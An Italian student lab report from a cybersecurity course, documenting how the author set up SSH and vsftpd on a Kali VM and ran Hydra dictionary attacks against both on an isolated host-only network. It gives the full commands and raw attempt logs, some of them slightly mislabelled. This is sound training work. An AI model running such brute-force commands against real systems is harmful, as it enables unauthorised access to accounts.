

Report Esercizio: Cracking SSH e FTP con Hydra

Progetto S6/L5 | Epcode Cybersecurity

1. Obiettivo dell'Esercizio

Ho svolto un esercizio pratico con duplice scopo: fare pratica con Hydra per craccare l'autenticazione di servizi di rete e consolidare le conoscenze dei servizi tramite la loro configurazione. L'esercizio si e' sviluppato in due fasi: una guidata su SSH e una libera in cui ho scelto FTP come secondo servizio.

2. Ambiente di Lavoro

Sistema operativo	Kali Linux (macchina virtuale su VirtualBox)
Rete	Host-only (192.168.56.0/24)
IP macchina	192.168.56.102
Strumenti utilizzati	Hydra v9.6, OpenSSH, vsftpd, seclists

3. Fase 1: Configurazione e Cracking SSH

3.1 Creazione dell'utente e avvio SSH

Ho creato l'utente test_user con adduser, impostando una password personalizzata. Ho poi avviato il servizio SSH e verificato che fosse attivo sulla porta 22.

```
sudo adduser test_user
sudo service ssh start
sudo service ssh status
```

```

(kali@kali)-[~]
$ sudo service ssh restart
(kali@kali)-[~]
$ sudo service ssh status
● ssh.service - OpenBSD Secure Shell server
   Loaded: loaded (/usr/lib/systemd/system/ssh.service; disabled; preset: disabled)
   Active: active (running) since Fri 2026-05-15 09:08:51 EDT; 1s ago
 Invocation: 62c04063075342ff8c0fdab81d90c0b7
    Docs: man:sshd(8)
          man:sshd_config(5)
  Process: 16671 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
 Main PID: 16673 (sshd)
   Tasks: 1 (limit: 18490)
  Memory: 1.6M (peak: 2.3M)
    CPU: 13ms
   CGroup: /system.slice/ssh.service
           └─16673 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"

mag 15 09:08:51 kali systemd[1]: Starting ssh.service - OpenBSD Secure Shell server...
mag 15 09:08:51 kali sshd[16673]: Server listening on 0.0.0.0 port 22.
mag 15 09:08:51 kali sshd[16673]: Server listening on :: port 22.
mag 15 09:08:51 kali systemd[1]: Started ssh.service - OpenBSD Secure Shell server.

```

Verifica: servizio SSH attivo (active running) sulla porta 22

3.2 Test della connessione SSH

Ho verificato il funzionamento del servizio connettendomi tramite SSH con le credenziali dell'utente appena creato. Il sistema ha accettato le credenziali fornendo un prompt interattivo.

```
ssh test_user@192.168.56.102
```

3.3 Sintassi di Hydra

Prima di procedere con l'attacco ho analizzato la sintassi di Hydra. I parametri principali: -l/-L per username singolo o lista, -p/-P per password singola o lista, -t per i thread paralleli, -V per visualizzare i tentativi in tempo reale, -I per ignorare sessioni precedenti.

3.4 Attacco con credenziali note

Ho eseguito un primo attacco specificando direttamente username e password noti, per verificare il corretto funzionamento di Hydra.

```

hydra -l test_user -p [password] 192.168.56.102 ssh
# [22][ssh] host: 192.168.56.102 login: test_user password: [trovata]
# 1 of 1 target successfully completed, 1 valid password found

```

3.5 Attacco con wordlist

Ho installato seclists e usato la lista delle 22 password SSH piu' comuni. La password scelta era sufficientemente robusta da non essere presente nella lista.

```
sudo apt install seclists
hydra -l test_user -P /usr/share/seclists/Passwords/Common-Credentials/\
top-20-common-SSH-passwords.txt 192.168.56.102 -t 2 -I ssh -V
```

```
(kali@kali)~$ hydra -l /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt 192.168.56.102 -t 2 -I ssh -V
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) at 2026-05-15 09:09:03
[WARN!! G] Restorefile (ignored ...) from a previous round, to prevent overwriting, ./hydra.restore
[DATA] max 2 tasks per 1 server, overall 2 tasks, 1 login tries (1:8295455/p:22), ~91250005 tries per task
[DATA] attacking ssh://192.168.56.102:22/
[ATTEMPT] target 192.168.56.102 - login "i" - pass "root" - 1 of 182500010 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "i" - pass "toor" - 2 of 182500010 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "i" - pass "raspberry" - 3 of 182500010 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "info" - pass "dietpi" - 4 of 182500010 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "info" - pass "test" - 5 of 182500010 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "info" - pass "uploader" - 6 of 182500010 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "info" - pass "password" - 7 of 182500010 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "info" - pass "admin" - 8 of 182500010 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "info" - pass "administrator" - 9 of 182500010 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "info" - pass "marketing" - 10 of 182500010 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "info" - pass "12345678" - 11 of 182500010 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "info" - pass "1234" - 12 of 182500010 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "info" - pass "12345" - 13 of 182500010 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "info" - pass "qwerty" - 14 of 182500010 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "info" - pass "webadmin" - 15 of 182500010 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "info" - pass "webmaster" - 16 of 182500010 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "info" - pass "maintenance" - 17 of 182500010 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "info" - pass "techsupport" - 18 of 182500010 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "info" - pass "letmein" - 19 of 182500010 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "info" - pass "logon" - 20 of 182500010 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "info" - pass "Passw@rd" - 21 of 182500010 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "info" - pass "alpine" - 22 of 182500010 [child 1] (0/0)
```

Hydra in esecuzione: tentativi in tempo reale con flag -V

```
(kali@kali)~$ hydra -l test_user -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt 192.168.56.102 -t 2 -I ssh -V
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) at 2026-05-15 09:12:07
[WARN!! G] Restorefile (ignored ...) from a previous round, to prevent overwriting, ./hydra.restore
[DATA] max 2 tasks per 1 server, overall 2 tasks, 22 login tries (1:1/p:22), ~11 tries per task
[DATA] attacking ssh://192.168.56.102:22/
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "root" - 1 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "toor" - 2 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "raspberry" - 3 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "dietpi" - 4 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "test" - 5 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "uploader" - 6 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "password" - 7 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "admin" - 8 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "administrator" - 9 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "marketing" - 10 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "12345678" - 11 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "1234" - 12 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "12345" - 13 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "qwerty" - 14 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "webadmin" - 15 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "webmaster" - 16 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "maintenance" - 17 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "techsupport" - 18 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "letmein" - 19 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "logon" - 20 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "Passw@rd" - 21 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "alpine" - 22 of 22 [child 1] (0/0)
```

Risultato attacco SSH: 0 valid password found (password robusta)

4. Fase 2: Configurazione e Cracking FTP

4.1 Installazione e avvio vsftpd

Ho scelto FTP come secondo servizio. Ho installato vsftpd e avviato il servizio, verificandone il corretto funzionamento sulla porta 21.

```
sudo apt install vsftpd
sudo service vsftpd start
sudo service vsftpd status
```

```
(kali@ kali)~$ sudo service vsftpd start
(kali@ kali)~$ sudo service vsftpd status
● vsftpd.service - vsftpd FTP server
   Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; disabled; preset: disabled)
   Active: active (running) since Fri 2026-05-15 09:22:17 EDT; 4s ago
     Invocation: 3664a2a922b547e4a8e7d39970c50118
    Process: 24469 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty (code=exited, status=0/SUCCESS)
   Main PID: 24471 (vsftpd)
      Tasks: 1 (limit: 18490)
     Memory: 1.1M (peak: 2.3M)
        CPU: 9ms
    CGroup: /system.slice/vsftpd.service
            └─24471 /usr/sbin/vsftpd /etc/vsftpd.conf

mag 15 09:22:17 kali systemd[1]: Starting vsftpd.service - vsftpd FTP server...
mag 15 09:22:17 kali systemd[1]: Started vsftpd.service - vsftpd FTP server.
```

```
(kali@ kali)~$
```

Verifica: servizio vsftpd attivo (active running)

4.2 Attacco FTP con Hydra

Ho eseguito l'attacco a dizionario su FTP con la stessa struttura usata per SSH, cambiando solo il protocollo finale da ssh a ftp.

```
hydra -l test_user -P /usr/share/seclists/Passwords/Common-Credentials/\
top-20-common-SSH-passwords.txt 192.168.56.102 -t 2 -I ftp -V
```



```

(kali㉿ kali)-[~]
$ hydra -l test_user -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt 192.168.56.102 -t 2 -i ftp -V
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) at 2026-05-15 09:23:31
[DATA] max 2 tasks per 1 server, overall 2
[DATA] attacking ftp://192.168.56.102:21/
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "toor" - 1 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "toor" - 2 of 22 [child 1] (0/0)

^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

(kali㉿ kali)-[~]
$ hydra -R
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

[INFORMATION] reading restore file ./hydra.restore
Hydra (https://github.com/vanhauser-thc/thc-hydra) at 2026-05-15 09:24:14
[DATA] max 2 tasks per 1 server, overall 2
[DATA] attacking ftp://192.168.56.102:21/
[RE-ATTEMPT] target 192.168.56.102 - login "test_user" - pass "toor" - 2 of 22 [child 0] (0/0)
[RE-ATTEMPT] target 192.168.56.102 - login "test_user" - pass "toor" - 2 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "raspberry" - 3 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "dietpi" - 4 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "test" - 5 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "uploader" - 6 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "password" - 7 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "admin" - 8 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "administrator" - 9 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "marketing" - 10 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "12345678" - 11 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "1234" - 12 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "12345" - 13 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "qwerty" - 14 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "webadmin" - 15 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "webmaster" - 16 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "maintenance" - 17 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "techsupport" - 18 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "letmein" - 19 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "logon" - 20 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "ssw@rd" - 21 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "alpine" - 22 of 22 [child 1] (0/0)
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) at 2026-05-15 09:24:53

```

Hydra in esecuzione su FTP: tentativi verso porta 21

```
(kali) [~]
$ hydra -l test_user -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt 192.168.56.102 -t 2 -
ssh -V
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-
binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) at 2026-05-15 09:15:54
[DATA] max 2 tasks per 1 server, overall 2 tasks, 22 login tries (l:1/p:22), ~11 tries per task
[DATA] attacking ssh://192.168.56.102:22/
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "root" - 1 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "toor" - 2 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "raspberry" - 3 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "dietpi" - 4 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "test" - 5 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "uploader" - 6 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "password" - 7 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "admin" - 8 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "administrator" - 9 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "marketing" - 10 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "12345678" - 11 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "1234" - 12 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "12345" - 13 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "qwerty" - 14 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "webadmin" - 15 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "webmaster" - 16 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "maintenance" - 17 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "techsupport" - 18 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "letmein" - 19 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "logon" - 20 of 22 [child 0] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "Passw@rd" - 21 of 22 [child 1] (0/0)
[ATTEMPT] target 192.168.56.102 - login "test_user" - pass "alpine" - 22 of 22 [child 0] (0/0)

Risultato attacco FTP: 0 valid password found
```

5. Considerazioni Finali

L'esercizio ha dimostrato come Hydra sia efficace contro password deboli o comuni, mentre password robuste e non presenti nelle wordlist resistono a questo tipo di attacco. La configurazione diretta dei servizi SSH e FTP ha permesso di comprendere il funzionamento dei demoni di rete, il ruolo dei file di configurazione e l'importanza di scegliere password complesse per proteggere i servizi esposti.